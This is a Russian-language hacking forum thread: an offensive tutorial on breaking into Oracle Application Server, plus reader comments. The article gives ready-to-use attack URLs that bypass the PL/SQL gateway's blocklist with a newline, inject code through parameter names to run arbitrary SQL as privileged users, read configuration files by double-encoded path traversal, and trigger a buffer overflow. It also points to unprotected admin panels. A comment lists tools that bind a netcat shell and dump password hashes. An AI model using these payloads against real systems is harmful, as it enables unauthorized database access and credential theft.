1. Статья рассчитана на людей которые уже имеют знания в sql-injection в Oracle. 2. В этой часть речь пойдет именно об Oracle Application Server 3. Все вопросы или дополнения приветствуются 1. НачалоOracle Application Server — это основанная на стандартах интегрированная программная платформа, позволяющая организациям любого масштаба оперативнее реагировать на меняющиеся требования рынка. Oracle Application Server 10g обеспечивает полную поддержку технологии J2EE и распределенных вычислений, включает встроенное ПО для корпоративных порталов, высокоскоростного Web-кэширования, бизнес-анализа, быстрого внедрения приложений, интеграции бизнес-приложений, поддержки беспроводных технологий, Web-сервисов — и все это в одном продукте. Поскольку платформа Oracle Application Server 10g оптимизирована для Grid Computing, она позволяет повысить степень готовности IT-систем и снизить расходы на приобретение аппаратных средств и администрирование.(www.oracle.com) 1.Начнем с того как нам понять что мы имеем дело именно с Oracle Application Server. Первое и самое главное это спецефический URL который легко распознается. Пример Code: http://www.site.com/pls/dad/package_name.procedure_name package_name это естественно название пакета и procedure_name название процедуры /dad/ это так называемый дескриптор доступа к БД (Database Access Descriptor) он прописан в dads.conf и содержит в себе данные для подключения к БД (адресс сервера,логин, пароль, sid) /pls/ это укозатель на то что будет использоватся PlSql модуль, он прописан по умолчанию в plsql.conf в Apache Web Server Но даже если использован другой укозатель распознать не проблема по псевдо расщирению файлов так как это название процедуры которую надо выполнить Второе это так называемый баннер который передается в ответ на http запрос если он содержит в себе Oracle-Application-Server или Oracle HTTP Server то это Application server правдо есть еще варианты Oracle9iAS и Oracle_Web_listener3 но с такими не сталкивался, из личной практики скажу что банеры часто меняют администраторы так что вариант номер один дает больше уверености. 2. Как оно работает Oracle Application Server это всеволиш вебсервер который обращается к БД все пакеты процедур физически находятся в БД то есть сервер всеволиш дает запрос на выполнение процедуры и передает нам данные, формирования HTML страниц тоже происходит на уровне БД Важно понемать что все найденные "баги" в Oracle Database можно использовать просто сформировав нужный Url. И так что происходит когда мы набираем в браузере к примеру Code: http://site.com/pls/prt/news.get_news?id=1 Сервер получает от нас название пакета процедур "news" название процедуры "get_news" перменную id и иё значение 1 сервер формирует запрос к бд который выгледит так Code: declare rc__ number; start_time__ binary_integer; simple_list__ owa_util.vc_arr; complex_list__ owa_util.vc_arr; begin start_time__ := dbms_utility.get_time; owa.init_cgi_env(:n__,:nm__,:v__); htp.HTBUF_LEN := 255; null; null; simple_list__(1) := 'sys.%'; simple_list__(2) := 'dbms\_%'; simple_list__(3) := 'utl\_%'; simple_list__(4) := 'owa\_%'; simple_list__(5) := 'owa.%'; simple_list__(6) := 'htp.%'; simple_list__(7) := 'htf.%'; [b]if ((owa_match.match_pattern('news.get_news', simple_list__,complex_list__, true))) then[/b] -- в строке выше происходит проверка нет ли обращения к процедурам к которым пользователь со сторыны web server-a доступа иметь не должен rc__ := 2; else null; orasso.wpg_session.init(); [b]news.get_news.bar(id=>:id);[/b] -- если проверка пройдена удачно то выполняем процедуру if (wpg_docload.is_file_download) then rc__ := 1; wpg_docload.get_download_file(:doc_info); orasso.wpg_session.deinit(); null; null; commit; else rc__ := 0; orasso.wpg_session.deinit(); null; null; commit; owa.get_page(:data__,:ndata__); end if; end if; :rc__ := rc__; :db_proc_time__ := dbms_utility.get_time - start_time__; end; Теперь перейдем непосредственно к процессу атаки. 3. В бой Как раньше упоминал при обращение к бд Oracle Application Server вписывает в запрос строку для проверки базой нет ли названий процедры и пакета в списке запрещенных. этот список постоянно дополняется поэтому сказать какой он на сегоднящний день я не могу но выглядит он примерно так Code: OWA* SYS.* DBMS_* HTP.* HTF.* UTL_* Но на любое действие как известно есть противодействие Путь первый: url кодировка которую сервер естественно перекодирует и отправляет базе Пример Code: site.com/pls/prt/%0AHTP.PRINT?id=123 Символ переноса строки "%0A" помог обойти проверку, упомянуть о том что oracle выпустил патч под данную уязвисмость и по моим личным наблюдениям могу сказать что он стоит в 80% встречающихся мне случаев. Так же можно использовать не только символ переноса строки а так же таб пробел итд, проверяйте ищите) David Litchfield (http://www.ngssoftware.com/) предложил один простой но очень эфективный способ, я tit не встречал случая чтоб он не сработал и надеюсь не встречу Первое что нам надо найти это процедуру не требующию передачу параметра через переменную то есть что-то набодобие Пример Code: site.com/pls/prt/portal.about Если передать любую переменную со значением site.com/pls/prt/portal.about?str=test сервер в ответ вернет ошибку 404 но перед тем как вернуть ответ бд выполнить pl/sql запрос то есть строки Code: ... if ((owa_match.match_pattern('portal.about', simple_list__, complex_list__, true))) then rc__ := 2; else null; orasso.wpg_session.init(); portal.about(str=>:str); ... То есть название переменной передается в код и это открывает возможность для проведения иньекции. Напомню что одностроковый коментарий в oracle обозначается как "--". Пример Code: site.com/pls/prt/portal.about?);HTP.PRINT(:1);--=test запрос к БД будет выглядеть так Code: ... if ((owa_match.match_pattern('portal.about', simple_list__, complex_list__, true))) then rc__ := 2; else null; orasso.wpg_session.init(); portal.about();HTP.PRINT(:1);--=>:);HTP.PRINT(:1);--); ... В ответ от сервера мы должны получит test среди прочего html. Таким способом можно получит доступ к процедурам из списка "запрещенных" но и не только так можно выполнить любую процедуру которая выполняется от имени супер пользователя sys (как root в mysql, sa в mssql итд) и как известно в стандартных пакетах процедур oracle database есть много таких которые подвержены sql иньекциям. Также использую процедуру OWA_UTIL.CELLSPRINT или ctxsys.driload.validate_stmt(в версии oracle 9i сечыны имеет права DBA) выполнить просто sql запрос к базе Пример Code: site.com/pls/prt/portal.about?);CTXSYS.DRILOAD.VALIDATE_STMT(:1);--=SELECT+USERNAME+FROM+ALL_USERS или site.com/pls/prt/portal.about?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS Так же бывают случаи что нам нужна другая БД с того же БД сервера в Oracle к ней можно обратится в sql запросе так Select * from dba_users@imia_bd ДалееНо вот делема что делать если доступ нужен не к БД которая часто на другом сервере а именно на тот сервер где стоит Application Server но и тут разработчики Oracle нас не подвели Oracle Application Server так-же имеет уязвимости, переполнения буфера одно из них, используя этот способ такого полета фантазии как при sql иньекциях не будет так как если патч стоит то он стоит и всё тут но всё-же о некоторых я думаю стоит упомянуть. Старая уязвимость в админ хелпе но много где не патченая выглядит так Code: http://site.com/pls/prt/admin_/help/AAAAA...... если передать ААААА более 1000байт произойдет переполнение (эксплоиты запость позже с собой нету а писать то что уже писал в лом хотя изощрятся там не надо всё просто ) Еше одна уязвимость под которую кстате в metasploite есть експлоит находится в процессе http авторизации описывать данную уязвимость не буду просто скажу что переполнение происходит при слишком длинном значении пароля кому интересно загляните на http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/http/oracle9i_xdb_pass.rb?rev=4059 Еше у нас есть чтение файлов пример Code: http://site.com/pls/prt/admin_/help/..%255Cplsql.conf проблема в том что plsql модуль для Apache декодирует Url кодировку дважды сначало %255C становится %5C а потом %5C декодируется как \ Да и чуть не забыл упямянуть что по умолчанию администрировать Oracle Application Server старых версий можно без пароля то есть мы заходим на Code: http://site.com/pls/prt/admin_/ и вуаля прям как в сказке админ панель у нас в руках) замечу что я такое встречал не раз) Конец Если всё описаное выще в вашем случае не подходит советую посетить metalink.oracle.com и прочетать какие исправления выпущены по личному опыту скажу что один два патча минимум не стоят или же пойти по пути более интересному находить процедуры которые уязвимы к sql иньекциям это не сложно просто при этом есть некоторые специфические только для оракла правила но об этом будет написано в следущей статье. P.S Хочу выразить благодарность David Litchfield и Pete Finnigan Pete Finnigan Статья не полная будет дополнятся тут описаны не все способы а только лиш то о чего можно благополучно отталкиваться. Статья будет дополнятся и это только часть серии статей посвященных продуктам компании Oracle Сорри за мой русский не родной язык.
первый нах! А если по теме, то статья написана грамотно, но пользователей которым будет она интересна тут не так много...
Автор я в процесе написания да и изучения оракла использовал матерьял личфилда и финегана почему в конце и написал спасибо им
Молодец! Материала выходящего за рамки LAMP реально мало, а жаль.. З.Ы. А базировался на материалах какого года?
2003-2008 год так как к от оракла отошел в конце 2008 только вот опять заинтересовл он меня на фоне этого и решил написать серию статей. Но тут описал то чем пользовался сам и не раз... поэтому и могу каждый нюянс при необходимости в подробностах обьяснить yckb возникнут вопросы.
ну это как в школе "дети для закрепления материала, откроем задачник на странице ..." хотя это конечно блажь уже материал хороший, положу в закладки, надеюсь когда-нибудь пригодится.
Буду знать) Не у меня подход такой пока не сам не попробовал не пытаюсь кому нить объяснить как это делать
Есть но не буду, в гугле найти веб сайты построенные на Application Server-е просто, это крупные проекты, тут выкидывать ссылку чтоб над серваком поиздевались не хочу.
На данный момент я работаю над второй частью статьи в которой идет рассмотрение различных способов и возможностей поднять свои права на сервере Бд оракл. Как закончу посмотрю данный матерьял поправлю всё что надо и дам ссылку на рабочие сплоиты.
Oracle Auditing Tools http://www.cqure.net/tools.jsp?id=7 - OraclePWGuess - атака по словарю или поиск дефолтных аккаунтов; - OracleQuery - sql-запросы из командной строки; - OracleSysExec - может работать в двух режимах: ручном (можно задавать какие комманды выполнить) или автоматическом (заливается неткат и вешается шелл на 31337/tcp); - OracleTNSCtrl - запрашивает через TNS listener различную информацию, для списка комманд читаем хелп; - OracleSamDump - соединятся с оракловым сервером и пытается посредством tftp загрузить туда pwdump2, затем возвращает результаты. Скачать Исходники
Вообщето это статья про Oracle Application Server то что его уязвимости используются вместе с "багами" БД Oracle это одно но то что ты тут отпостил относится к атакам на TNS listener и данной теме в этой серии статей будет посвящена отдельная тема.